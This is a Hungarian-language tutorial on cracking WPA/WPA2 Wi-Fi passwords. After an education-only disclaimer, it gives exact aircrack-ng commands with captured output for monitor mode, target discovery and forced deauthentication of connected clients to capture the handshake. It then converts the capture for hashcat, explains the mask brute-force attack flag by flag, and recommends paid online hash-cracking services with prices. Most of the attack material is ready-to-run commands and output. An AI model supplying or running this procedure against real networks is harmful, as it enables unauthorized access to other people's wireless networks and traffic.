WPA jelszó feltörése
Warning
Az itt leírtak kizárólag oktatási célt szolgálnak. Soha ne próbáljuk meg mások hálózatát feltörni se ezekkel a módszerekkel se máshogyan, kizárólag direkt, erre a célra létrehozott hálózatokon kísérletezzünk! A szerző semmilyen felelősséget nem vállal azért, ha valaki a figyelmeztetés ellenére rosszindulatúan használná fel az itt leírtakat.
Contents
Bevezető
https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46
A koncepció a következő. Elsőként begyűjtjük a feltörni kívánt hálózat adatait. Szükségünk van a BSSID-ra és a csatorna számára, amit az AccessPoint használ. Ha már tudjuk ezeket az információkat, akkor elkezdünk addig hallgatózni a csatornánk, amíg nem érkezik egy Handshake üzenet valamelyik klienstől. Csak olyan hálózatot tudunk megtámadni, ahol vannak kliensek, akik már ismerik a jelszót. Ha van legalább 1 kliens az AP-ra csatlakozva, akkor azt a klienst egy hamis autentikációs üzenettel rá tudjuk venni hogy csatlakozzon újra, így el tudjuk kapni a handshake üzenetet, amiben benne van a jelszó hash lenyomata. Ezen komplex feladat elvégzésére a aircrack-ng szoftver csomagot fogjuk használni.
A hash visszafejtését egy GPU rig-en fogjuk végezni a hashcat programmal, ami remekül ki tudja használni a GPU rig nyújtotta párhuzamosíthatóságot. Az airmon-ng által kiköpött hash formátum nem fogyasztható a hashcat által, ezért a .cap formátumot konvertálni kell .hccapx formátumra, majd brute-force módszerrel megpróbáljuk visszafejteni a hash-t.
Installáció
Aircrack-ng
Installálni kell a aircrack-ng csomagot
# dnf install aircrack-ng
hashcat-utils
Az aircrack által használt .cap fájformátumot a hashcat-utils-master csomagban található konverterrel tudjuk majd .hccapx formátumra konvertálni, amiben a hash formátum már megfelelő a haschcat-nek. ....
Hashcat
A Hascat-et a GPU rigre kell telepíteni. Itt feltételezzük, hogy már rendelkezésünkre áll egy teljesen konfigurált GPU rig (mining rig).
...hashcat telepítése...
# ./hashcat64.bin -m 1000 -b hashcat (v4.1.0) starting in benchmark mode... Benchmarking uses hand-optimized kernel code by default. You can use it in your cracking session by setting the -O option. Note: Using optimized kernel code limits the maximum supported password length. To disable the optimized kernel code in benchmark mode, use the -w option. * Device #1: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch * Device #2: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch * Device #3: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU * Device #2: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU * Device #3: GeForce GTX 1050 Ti, 1010/4040 MB allocatable, 6MCU Benchmark relevant options: =========================== * --optimized-kernel-enable Hashmode: 1000 - NTLM Speed.Dev.#1.....: 14465.9 MH/s (83.46ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1 Speed.Dev.#2.....: 13824.3 MH/s (85.87ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1 Speed.Dev.#3.....: 8868.6 MH/s (87.05ms) @ Accel:256 Loops:512 Thr:1024 Vec:1 Speed.Dev.#*.....: 37158.8 MH/s
Látható hogy a rig-ünk teljes kapacítása 37158.8 Mega hash / sec (ez nem túl sok). Fontos hogy a rig összes GPU-ja ki legyen itt listázva.
Jelszó feltörése
Handshake elkapása
Monitor mode bekapcsolása
A WiFi adatpert át kell állítani monditor üzemmódba. Erre nem minden wifi kártya képes, a DELL gyári kártyája, szerenécsre igen:
# airmon-ng start wlp3s0 .... [phy0]wlp3s0mon)
Az utolsó sorban láthatjuk hogy mi lett a monitor interfész neve, ezt kell használni innentől kezdve a támadás során: wlp3s0mon
Hálózatok feltérképezése
Most nézzük meg hogy milyen hálózatokat lát a WiFi kártya. Szükésgünk lesz a feltörendő hálózat BSSID-jére és az AccessPoint által használt csatornára:
# airodump-ng wlp3s0mon CH 7 ][ Elapsed: 1 min ][ 2018-07-25 16:29 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID AC:C1:EE:88:CE:93 -51 279 0 0 6 54e. WPA2 CCMP PSK RedmiAdam 00:12:C9:31:7A:28 -77 103 0 0 6 54e. WPA2 CCMP PSK TEST_NETWORK <<<< C4:A3:66:45:34:6C -84 56 23 0 1 54e WPA2 CCMP PSK COSMOTE-45346C 70:3A:D8:08:9A:F4 -86 47 8 0 9 54e WPA2 CCMP PSK Almare_Roof 18:A6:F7:7E:B2:74 -86 43 0 0 1 54e WPA2 CCMP PSK TEST_NETWORK RECEPTION 68:72:51:62:B0:19 -91 1 0 0 10 54e. WPA2 CCMP PSK Hotel Hara 2 52:A3:66:50:72:C9 -1 0 1 0 1 -1 OPN <length: 0> ...
Látható, hogy az általunk felörni kívánt hálózat a 6-os csatornán van, és a BSSID-je: 00:12:C9:31:7A:28
Handshake elkapása
Most addig fogunk hallgatózni ezen a csatornán, amíg nem érkezik legalább egy hanshsake az egyik klienstől. Ha egy kliens sincs éppen az AP-re csatlakozva, akkor nem járhatunk sikerrel. A hallgatózó airodump-ng parancs szintaktikája az alábbi:
airodump-ng -c <csatorna száma> --bssid <bssid> -w <output fájl base neve> <interfész név>
- csatorna száma: 6
- bssid: 00:12:C9:31:7A:28
- montitor interszé neve: wlp3s0mon
# airodump-ng -c 6 --bssid 00:12:C9:31:7A:28 -w psk3 wlp3s0mon CH 6 ][ Elapsed: 12 s ][ 2018-07-25 16:41 <itt jelenik majd meg a handshake> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:12:C9:31:7A:28 -80 100 147 3 0 6 54e. WPA2 CCMP PSK TEST_NETWORK BSSID STATION PWR Rate Lost Frames Probe 00:12:C9:31:7A:28 8C:F5:A3:9A:A8:D0 -83 0 -24 0 1 00:12:C9:31:7A:28 8C:0D:76:D4:56:34 -1 0e- 0 0 2 00:12:C9:31:7A:28 AC:C1:EE:97:17:EF -89 0 - 6 0 2
Note
Ha itt nem látunk egy klienst sem a listában, akkor nem fog sikerülni a támadás, mert nem lesz ki újra csatlakozzon
Láthatjuk a klienseket az alsó listában (station). Jelenleg 3 kliens csatlakozik az AP-re. Vagy addig várunk, amíg valaki nem csatakozik újra, vagy kierőszakoljuk mi magunk az újracsatlakozást a kliensek becsapásával. A cél, hogy a jobb felős sarokban megjelenjen a WPA handshake felirat, amit be is jelöltem ('itt jelenik majd meg a handshake')
Újrakapcsolódás kierőszakolása
Most erőszakoljuk ki a kliensek újracsatlakozását egy hamis autentikációs üzenettel, amit a broadcust címre küldünk a aireplay-ng eszközzel, ami része az airodump-ng csomagnak. Template:Worning
aireplay-ng -0 2 -a <bssid> <interfész név>
Itt a 2-val azt mondjuk meg, hogy kettő darab becsapós csomagot küldjön ki. Nyissunk meg egy másik command ablakot, és adjuk ki az alábbi parancsot:
# aireplay-ng -0 2 -a 00:12:C9:31:7A:28 wlp3s0mon 16:52:50 Waiting for beacon frame (BSSID: 00:12:C9:31:7A:28) on channel 6 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 16:52:50 Sending DeAuth to broadcast -- BSSID: [00:12:C9:31:7A:28] 16:52:51 Sending DeAuth to broadcast -- BSSID: [00:12:C9:31:7A:28]
Látható, hogy kettő darab becsapós csomagot küldütt ki az AP nevében a broadcust címre. Most várni kell hogy a kliensek úrja csatlakozzanak.
Ha legalább egy kliens megkapta a becsapós csomagot, újra fog csatlakozni. Ezt onnan fogjuk lánti, hogy a hálózat figyelő abalkunkban, jobb felül megjelenik a handshake. A Crtl+c-vel állítsuk le a montitort.
CH 6 ][ Elapsed: 2 mins ][ 2018-07-25 16:58 ][ WPA handshake: 00:12:C9:31:7A:28 <<<itt megjelent a handshake BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:12:C9:31:7A:28 -79 100 1484 63 0 6 54e. WPA2 CCMP PSK TEST_NETWORK BSSID STATION PWR Rate Lost Frames Probe ...
Note
Ha a becsapós csomagok kiküldése után pár másodperccel nem jelenik meg a handshake, akkor kicsit várjunk, hogy újabb kliensek is az AP-ra csatlakozzanak, és próbáljuk meg újra. Ez türelem játék
Mi jött létre
Nézzük meg milyen fájlok keletkeztek:
# ll total 4468 .... -rw-r--r-- 1 root root 170590 Jul 25 16:58 psk3-03.cap -rw-r--r-- 1 root root 589 Jul 25 16:58 psk3-03.csv -rw-r--r-- 1 root root 592 Jul 25 16:58 psk3-03.kismet.csv -rw-r--r-- 1 root root 4034 Jul 25 16:58 psk3-03.kismet.netxml
Számunkra a .cap kiterjesztésű fájl az érdekes, abban vannak elmentve a handshake-ek, amiket akkor kaptunk el, mikor a kliensek újra csatlakoztak az AP-hez. Itt egy vagy több hash található, amiket vissza fogunk fejteni a GPU riggel. (az utolsó számot futtatásonként egyel növeli az airodump-ng, nálunk ez a 3. futtatás eredménye)
Konvertálás
A .cap fájlt konvertálni kell .hccapx formátumra, hogy fel tudjuk dolgozni a hashcat programmal.
cd ...../hashcat-utils-master/src/ # ./cap2hccapx.bin psk3-03.cap psk3-03.hccapx Networks detected: 1 [*] BSSID=00:12:c9:31:7a:28 ESSID=TEST_NETWORK (Length: 12) --> STA=ac:c1:ee:97:17:ef, Message Pair=0, Replay Counter=1 --> STA=ac:c1:ee:97:17:ef, Message Pair=2, Replay Counter=1 Written 2 WPA Handshakes to: psk3-03.hccapx
Látható, hogy a psk3-03.cap fájl 2 handshake-et tartalmazott, tehát két klienst is rá tudtunk venni hogy újracsatlakozzon. {{note|Ha az utolsó sorban az jelenik meg, hogy 'Written 0 WPA..', az azt jelenit, hogy nem tartalmazott handshake-t a .cap fájl, nem sikerült felvenni egy újracsatlakozást sem. Mindig várjuk meg, hogy a monitorozás alatt megjelenjen jobb fölül a 'WPA Handshake' felirat.
Hash visszafejtése
GPU rig használata
hogyan telepítsük + gui: https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker
Másolás
Első lépésként a konvertált hash fájlt (psk3-03.hccapx) a rig-re kell másolni.
# scp psk3-03.hccapx root@example.org:/path/to/folder
Warning
Fontos, hogy minden más GPU tevékenységet leállítsunk a rig-en, tehát NE bányásszunk, amíg jelszó visszafejtésre akarjuk használni a gépet :)
Brute-force
maszkos támadás a hashcat oldalárol: https://hashcat.net/wiki/doku.php?id=mask_attack
egy remek példa: https://www.4armed.com/blog/perform-mask-attack-hashcat/
Warning
Ez a legkevésbé célravezető módszer. Az én 3 GPU-s rigemmel a 8 karakter hosszra is 17 napot jósolt!!! Mennyi áram az, te jó ég. Pláne ha hosszabb! Mindig kezdjük a szótár alapú töréssel, aztán a kombinált töréssel.
A hashcat jelelegi verziója (4) már nem támogatja az igazi brute-force törést, mára már a maszk alapú törést hívják brute-force-nak. Ez azt jelenti, hogy egyrészről valami féle feltételezéssel kell éljünk a jelszó hosszát illetően, másrészt minden egyes jelszó karakterre meg kell adni a karakter készletet, ami ott szóba jöeht.
# hashcat-4.1.0/hashcat64.bin -m 2500 -a 3 -1 ?l?d -o cracked psk3-03.hccapx ?l?l?l?l?l?1?1?1 hashcat (v4.1.0) starting... .. Session..........: hashcat Status...........: Running Hash.Type........: WPA/WPA2 Hash.Target......: STUDIO IRENE (AP:00:12:c9:31:7a:28 STA:ac:c1:ee:97:17:ef) Time.Started.....: Wed Jul 25 23:05:44 2018 (4 secs) Time.Estimated...: Mon Aug 13 06:50:55 2018 (18 days, 7 hours) Guess.Mask.......: ?l?l?l?l?l?1?1?1 [8] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 133.9 kH/s (15.70ms) @ Accel:64 Loops:16 Thr:1024 Vec:1 Speed.Dev.#2.....: 133.8 kH/s (16.04ms) @ Accel:64 Loops:16 Thr:1024 Vec:1 Speed.Dev.#3.....: 87386 H/s (7.85ms) @ Accel:32 Loops:16 Thr:1024 Vec:1 Speed.Dev.#*.....: 355.1 kH/s Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 1376256/554337478656 (0.00%) Rejected.........: 0/1376256 (0.00%) Restore.Point....: 0/21320672256 (0.00%) Candidates.#1....: mfvytane -> mmcjyone Candidates.#2....: msefpone -> mzjmalll Candidates.#3....: carierin -> cgvytane HWMon.Dev.#1.....: Temp: 59c Fan: 0% Util: 96% Core:1455MHz Mem:4428MHz Bus:1 HWMon.Dev.#2.....: Temp: 55c Fan: 0% Util: 98% Core:1379MHz Mem:4428MHz Bus:1 HWMon.Dev.#3.....: Temp: 51c Fan: 0% Util: 99% Core:1404MHz Mem:3903MHz Bus:1
- -m -el meg kell mondani a hash tipusát. Ez WPA esetén mindig 2500.
- -a -val a támadás fajtáját. 3= brute force (maskos brute force)
- - aztán ami utána jön, az a maszk. A ? után mindig a character készletre hivatkozunk. Itt pont egy 8 hosszú jelszót adtunk meg.
vannak a beépített karakter készletek:
?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?h = 0123456789abcdef ?H = 0123456789ABCDEF ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff
és ezeket kombinálhatjuk össze, amiket elnevezhetünk 1-től 4-ig, ahogy azt láthatjuk a kommand végén, ott van az 1-es definíciója: -1 ?l?d?u vagyis kis és nagybetűk + számok. De ide még többet is megadhattunk volna, pl ha a tudjuk, hogy csak az eslő nagybetű. Bármilyen infó a jelszóról drasztikusan csökkenti a törést.
Szótár alapú törés
GPU hash szolgáltatók
Talán az egyetlen szóba jöhető módszer, ha egy hash törő szolgáltatást veszünk igénybe, akik valamennyi BTC-ért cserébe visszafejtik pillanatok alatt a hash kódot.
gpuhash.me
A https://gpuhash.me/ 0.001 BTC-t kér a törésért, amit kevesebb mint 15 perc alatt el is végeztek. Figyelemre méltó.
onlinehashcrack
Valamivel olcsóbb, mert csak 5 eurót kérnek a törését, és email címet is kérnek, ahol értesítenek, tehát kevéssé diszkrét.